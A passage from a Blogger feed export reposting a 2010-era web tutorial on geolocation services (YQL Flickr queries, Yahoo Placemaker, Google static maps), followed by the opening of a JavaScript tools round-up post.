&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;string&quot;&gt;select&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;%20*%20from%20flickr.photolist%20where%20location%3D%22&lt;strong&gt;paris%2Cfr&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;strong&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;%22%20and%20text%3D%22%22%20and%20amount%3D&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;strong&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;10&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;strong&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&amp;amp;format=xml&amp;amp;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;env=store%3A%2F%2Fdatatables.org%2Falltableswithkeys&amp;amp;callback=&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;strong&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;photos&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;strong&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&quot;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;You can also &lt;a href=&quot;http://developer.yahoo.com/yql/console/?q=select%20*%20from%20flickr.photolist%20where%20location%3D%22paris%2Cfr%22%20and%20text%3D%22%22%20and%20amount%3D10&amp;amp;env=store%3A%2F%2Fdatatables.org%2Falltableswithkeys&quot;&gt;play with this in the YQL console&lt;/a&gt;.&lt;br /&gt;
&lt;h3&gt;Why Not Search For The Location’s Name?&lt;/h3&gt;The main question about implementations such as the one above is why  couldn’t we just do a search on Flickr for the city, instead of doing  all the complex geo-lookups? The reason is false positives. Take Paris,  for example: if you want to show photos of Paris on a travel website,  you don’t want Paris Hilton to show up in there. Same goes for Jack  London. You may also want to show photos of London, England, not London,  Ontario. Geographic data is full of these kinds of gotchas, and the  term for finding the right one is “disambiguation.” See the &lt;a href=&quot;http://en.wikipedia.org/wiki/Victoria_%28geographical_disambiguation%29&quot;&gt;Wikipedia article on “Victoria”&lt;/a&gt; to see just how many geographical contexts this term can have.&lt;br /&gt;
&lt;h3&gt;Turning Text Into Geo-Data&lt;/h3&gt;Finding a visitor’s geographic location is all well and good, but it  doesn’t mean much if you can’t link it to information for that area.  This is where it gets tricky. For Flickr (and soon Twitter), this is  easy, because both services are able to attach geographical locations to  the content you put in them. This is not so for most of the information  on the Web, though, and this is when we resort to clever algorithms,  machine-learning, pattern-matching and all the other think-tank stuff  that computers and the scientists in front of them do.&lt;br /&gt;
Say you want to identify the geographical locations that a particular  text or Web page talks about. Yahoo offers a service for that called &lt;a href=&quot;http://developer.yahoo.com/geo/placemaker/&quot;&gt;Placemaker&lt;/a&gt;, and it is pretty easy to use. You need to get a &lt;a href=&quot;http://developer.yahoo.com/wsregapp/&quot;&gt;developer key&lt;/a&gt; and send this as &lt;code&gt;appid&lt;/code&gt;, send a text as &lt;code&gt;documentContent&lt;/code&gt;, define the type of the text as &lt;code&gt;documentType&lt;/code&gt; and define the type of data you want back as &lt;code&gt;outputType&lt;/code&gt;. All of this needs to be sent as a &lt;code&gt;POST&lt;/code&gt; to &lt;code&gt;http://wherein.yahooapis.com/v1/document&lt;/code&gt;:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_526742&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;form&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;action=&quot;&lt;strong&gt;&lt;a href=&quot;http://wherein.yahooapis.com/v1/document%3C/&quot;&gt;http://wherein.yahooapis.com/v1/document&lt;!--&lt;/a--&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt;&lt;a href=&quot;http://wherein.yahooapis.com/v1/document%3C/&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;strong&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&quot; method=&quot;post&quot;&amp;gt;&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;textarea&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;id&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;text&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;documentContent&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;Hi there, I am Chris.&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;I live in London, I am currently in Sunnyvale and will soon be in&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;Atlanta and Las Vegas.&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;textarea&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;div&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;submit&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;sub&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;value&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;get locations&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;div&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;hidden&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;appid&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;value=&quot;&lt;strong&gt;{YOUR_APP_ID}&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;strong&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&quot;&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;7&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;hidden&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;documentType&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;value&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;text/plain&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;8&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;hidden&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;outputType&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;value&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;xml&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;9&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;form&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;You can &lt;a href=&quot;http://isithackday.com/hacks/geo/simple-placemaker.php&quot;&gt;try this out yourself&lt;/a&gt;. Using PHP to call the API instead of a simple form, you can even format the output nicely. See it in action &lt;a href=&quot;http://isithackday.com/hacks/geo/placemaker.php&quot;&gt;here&lt;/a&gt;:&lt;br /&gt;
&lt;a href=&quot;http://isithackday.com/hacks/geo/simple-placemaker.php&quot;&gt;&lt;img alt=&quot;finding locations in a text and showing them on a map using Yahoo Placemaker&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/placemaker-results.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
While developers who have played around with Web services won’t find  Placemaker hard to use, the service can be daunting for the average  developer. That is why I built &lt;a href=&quot;http://icant.co.uk/geomaker&quot;&gt;GeoMaker&lt;/a&gt;  some time ago. GeoMaker allows you to enter a text or URL, select the  locations you want to include in the final outcome, and get the  locations either as a map to copy and paste or as micro-formats.&lt;br /&gt;
&lt;a href=&quot;http://icant.co.uk/geomaker/index.php&quot;&gt;&lt;img alt=&quot;Geomaker in action&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/geomaker.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
However, because there is also a YQL solution for using PlaceMaker in  JavaScript, we can do the same with a few lines of client-side code to  enhance an HTML document. Check out the following example:&lt;br /&gt;
&lt;a href=&quot;http://isithackday.com/hacks/geo/addmap.html&quot;&gt;&lt;img alt=&quot;A map created from geographical locations in a text&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/textandmap.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
To use this, you need three things: a text with geographical locations in them in an element with an ID, a Google Maps API key (&lt;a href=&quot;http://code.google.com/apis/maps/signup.html&quot;&gt;which you can get here&lt;/a&gt;) and the following few lines of code:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_713202&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;script&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;src&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;&lt;a href=&quot;http://github.com/codepo8/geotoys/raw/master/addmap.js&quot;&gt;http://github.com/codepo8/geotoys/raw/master/addmap.js&lt;/a&gt;&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;script&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;script&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;addmap.config.mapkey = &#39;COPY YOUR API KEY HERE&#39;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;addmap.analyse(&#39;content&#39;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;script&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;This makes it incredibly easy to give your visitors a sense of what part of the world a text is related to.&lt;br /&gt;
&lt;h3&gt;Adding Maps To Your Documents&lt;/h3&gt;Online maps have been around for a while now (and Google Maps was  instrumental in the rise of AJAX), and many providers out there allow  you to add maps to your documents. Google is probably the leader, but  Yahoo also has maps, as does Microsoft and many more. There is even a  fully open map service called &lt;a href=&quot;http://www.openstreetmap.org/&quot;&gt;Open Street Maps&lt;/a&gt;, which has been &lt;a href=&quot;http://www.opengeodata.org/2010/01/24/osm-the-default-map-in-haiti/&quot;&gt;instrumental in the recent rescue efforts in Haiti&lt;/a&gt;.&lt;br /&gt;
If you want interactive maps, probably the easiest thing to use is &lt;a href=&quot;http://www.mapstraction.com/&quot;&gt;Mapstraction&lt;/a&gt;,  which is a JavaScript library that does away with the discrepancies  between the various map providers and gives you a single interface for  all of them. 24ways published a &lt;a href=&quot;http://24ways.org/2007/get-to-grips-with-slippy-maps&quot;&gt;good introduction to it&lt;/a&gt; three years ago.&lt;br /&gt;
Probably the simplest way to show a map that supports markers and  paths in your document without having to dive into JavaScript is the &lt;a href=&quot;http://code.google.com/apis/maps/documentation/staticmaps/&quot;&gt;Google static maps API&lt;/a&gt;. It creates maps as images, and all you need to do is provide the map information in the &lt;code&gt;src&lt;/code&gt; URI of the image. For example, in the script example above, this would be:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_704621&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;http:&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;//maps.google.com/maps/api/staticmap?&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;sensor=&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;false&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;amp;size=200x200&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;amp;maptype=roadmap&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;amp;key=&lt;em&gt;YOUR_MAP_KEY&lt;/em&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;amp;markers=color:blue|label:1|37.4447,-122.161&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;7&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;amp;markers=color:blue|label:2|37.3385,-121.886&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;8&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;amp;markers=color:blue|label:3|37.3716,-122.038&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;9&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;amp;markers=color:blue|label:4|37.7792,-122.42&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;You can define the size and type of the map. If all you provide is  the location of markers, the API will automatically find the right zoom  level and area to ensure that all markers are visible. Google’s website  even offers a detailed &lt;a href=&quot;http://gmaps-samples.googlecode.com/svn/trunk/simplewizard/makestaticmap.html&quot;&gt;tool to create static maps&lt;/a&gt;, including markers and paths.&lt;br /&gt;
&lt;h3&gt;Geo Is A Space To Watch&lt;/h3&gt;I hope this has given you some insight into all of the things you can  do to bring the earth to your product and to put your product on the  map. Geo-location and geo-aware services are already huge, and they’ll  be even more important this year. There will be more services—some  mobile providers are ready to roll out new hardware and software—and now  you can be a part of it.&lt;br /&gt;
What the geo-world needs now is a designer’s eye, and this is where  you can help the geo-geeks create apps that matter, that look great and  that make a difference in our visitors’ lives. For inspiration, check  out &lt;a href=&quot;http://www.youtube.com/watch?v=vVZkHuomqfM&quot;&gt;Mapumental&lt;/a&gt;, which allows you to pinpoint a place to live in London, or see how Google Earth and some 3-D Objects allow you to &lt;a href=&quot;http://earth-api-samples.googlecode.com/svn/trunk/demos/milktruck/index.html&quot;&gt;race a milk truck on real map data&lt;/a&gt;.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/8706110369551816853/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/01/entering-wonderful-world-of-geo.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/8706110369551816853'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/8706110369551816853'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/01/entering-wonderful-world-of-geo.html' title='Entering The Wonderful World of Geo Location'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-2103576214610135674</id><published>2012-01-01T01:06:00.001-08:00</published><updated>2012-01-01T01:06:40.469-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="45 Fresh Useful JavaScript and jQuery Techniques and Tools"/><title type='text'>45 Fresh Useful JavaScript and jQuery Techniques and Tools</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Yes, this is another round-up of &lt;strong&gt;fresh and useful Javascript techniques, tools and resources&lt;/strong&gt;.  But don’t close the tab yet, as you might find this one very useful. In  this selection we present calendars, forms, buttons, navigation,  debugging, optimization and compatibility tables as well as handy  resources and tools. We also cover various jQuery-plugins that will help  you extend the functionality of your website and improve user  experience with ready components or coding solutions.&lt;br /&gt;
The last section also covers a number of useful educational resources  such as a compilation of useful JavaScript coding practices, a detailed  comparison of JavaScript frameworks and general JavaScript programming  conventions. We are looking forward to your feedback.&lt;br /&gt;
You may be interested in the following related posts:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.smashingmagazine.com/2009/06/21/50-fresh-javascript-tools-that-will-improve-your-workflow/&quot;&gt;50 Fresh JavaScript Tools That Will Improve Your Workflow&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.smashingmagazine.com/2010/01/12/45-powerful-css-javascript-techniques/&quot;&gt;45 Powerful CSS/JavaScript-Techniques&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.smashingmagazine.com/2009/03/08/70-new-useful-ajax-and-javascript-techniques/&quot;&gt;70 Useful AJAX And JavaScript Techniques&lt;/a&gt;&lt;/li&gt;
